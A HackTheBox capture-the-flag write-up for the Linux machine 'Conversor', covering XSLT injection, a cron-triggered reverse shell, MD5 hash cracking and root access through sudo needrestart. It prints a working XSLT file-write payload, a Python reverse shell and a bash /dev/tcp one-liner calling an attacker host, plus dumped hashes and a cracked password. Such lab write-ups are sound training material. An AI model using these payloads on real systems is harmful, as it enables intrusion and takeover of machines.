TARGET OS: LINUX | AUTHOR: LEANDROS
Conversor is an Easy-rated Linux machine on HackTheBox that provides a fantastic masterclass in web application logic abuse and system administration flaws. My intrusion started by identifying a Server-Side XSLT Processing vulnerability. By chaining this with a source code leak, I abused a scheduled cron job to achieve Remote Code Execution. Lateral movement required dumping an SQLite database to crack a user's MD5 password hash. Finally, I escalated to root by exploiting the needrestart utility, which insecurely evaluates custom configuration files as raw Perl code. Here is my complete mission log.
I initiated the engagement with an Nmap TCP port scan to map out the target's external attack surface.
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p22,80 <IP>
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13
80/tcp open http Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://conversor.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
The scan revealed SSH on port 22 and an Apache web server on port 80 that redirects to conversor.htb. I added this domain to my /etc/hosts file and navigated to the site.
The landing page presented a login form with a "Register" button. I registered a dummy account and logged into the application to explore its authenticated features.
Inside the portal, I found a file upload feature. The application explicitly required users to upload both an XML and an XSLT file simultaneously. This immediately signaled that the backend was parsing XML documents and applying XSL Transformations.
When a web application insecurely processes user-supplied XSLT stylesheets, an attacker can use malicious XSLT elements to read local files, interact with internal networks (SSRF), or write files to the filesystem using extensions like exsl:document.
To test the parser, I uploaded a standard XML file alongside an XSLT payload designed to leak the underlying XSLT engine vendor.
<?xml version="1.0"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:value-of select="system-property('xsl:vendor')"/>
<xsl:text> </xsl:text>
<xsl:value-of select="system-property('xsl:vendor-url')"/>
</xsl:template>
</xsl:stylesheet>
The application generated an HTML file. When I viewed it, it printed: libxslt http://xmlsoft.org/XSLT/. This confirmed the server was using libxslt, a popular C library that supports the EXSLT extension for writing files!
While I knew I could write files to disk, I needed to know *where* to write them to gain execution. I ran Gobuster to find hidden endpoints.
gobuster dir -u http://conversor.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php,txt
Gobuster discovered an /about page. Viewing this page revealed a "Download Source Code" button at the bottom. I downloaded source_code.tar.gz and extracted it on my attacking machine.
Extracting the archive revealed the entire Flask application structure. Crucially, I found an install.md file containing administrative setup notes.
If you want to run Python scripts (for example, our server deletes all files older than 60 minutes to avoid system overload), you can add the following line to your /etc/crontab.
* * * * * www-data for f in /var/www/conversor.htb/scripts/*.py; do python3 "$f"; done
This was the missing link! The system runs a cron job every minute that executes *any* .py file located in /var/www/conversor.htb/scripts/.
I crafted a new malicious XSLT payload using the exsl:document function. This payload instructs the server to write a Python reverse shell script directly into that highly privileged scripts directory.
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:ptswarm="http://exslt.org/common"
extension-element-prefixes="ptswarm"
version="1.0">
<xsl:template match="/">
<ptswarm:document href="/var/www/conversor.htb/scripts/rev.py" method="text">
import os, socket, subprocess
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("<IP_ATTACKER>", <PORT>))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
subprocess.call(["/bin/sh", "-i"])
</ptswarm:document>
</xsl:template>
</xsl:stylesheet>
I set up a Netcat listener, uploaded the XML and my malicious XSLT file, and waited. Within a minute, the cron job triggered my Python script, and I caught a shell as www-data.
To escalate to a standard user, I recalled seeing a database referenced in the Flask source code. I navigated to /var/www/conversor.htb/instance/ and used the sqlite3 utility to dump the users.db file.
sqlite3 users.db
sqlite> SELECT * FROM users;
1|fismathack|5b5c3ac3a1c897c94caad48e6c71fdec
5|job|42f749ade7f9e195bf475f37a44cafcb
6|admin|21232f297a57a5a743894a0e4a801fc3
...
The database contained an MD5 hash for the user fismathack. I passed the hash (5b5c3ac3a1c897c94caad48e6c71fdec) to John the Ripper using the rockyou wordlist.
john --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
John cracked the hash, revealing the password: Keepmesafeandwarm. I used the su fismathack command, entered the password, and successfully secured a shell as the user, claiming the user.txt flag.
Now operating as fismathack, I checked my sudo privileges.
User fismathack may run the following commands on conversor:
(ALL : ALL) NOPASSWD: /usr/sbin/needrestart
The needrestart utility accepts a -c flag to load a custom configuration file. Because needrestart is written in Perl, it parses these configuration files using Perl's eval() function. This means that any valid Perl code placed inside a configuration file will be executed by the binary. Since we run the binary as root via Sudo, the Perl code executes as root!
I created a fake configuration file in /tmp containing a Perl payload to spawn a reverse shell.
cd /tmp
echo 'system("bash -c \'bash -i >& /dev/tcp/<IP_ATTACKER>/<PORT> 0>&1\'");' > root_exploit.conf
chmod +x root_exploit.conf
I started a final Netcat listener on my attacker machine. Then, I executed needrestart with Sudo, pointing the config flag to my malicious Perl script.
sudo /usr/sbin/needrestart -c /tmp/root_exploit.conf
listening on [any] 7755 ...
connect to [10.10.14.220] from (UNKNOWN) [10.10.11.92] 51280
root@conversor:/tmp# whoami
root
The Perl eval() function immediately executed my system command, granting me a root shell. I claimed the root.txt flag. System Compromised.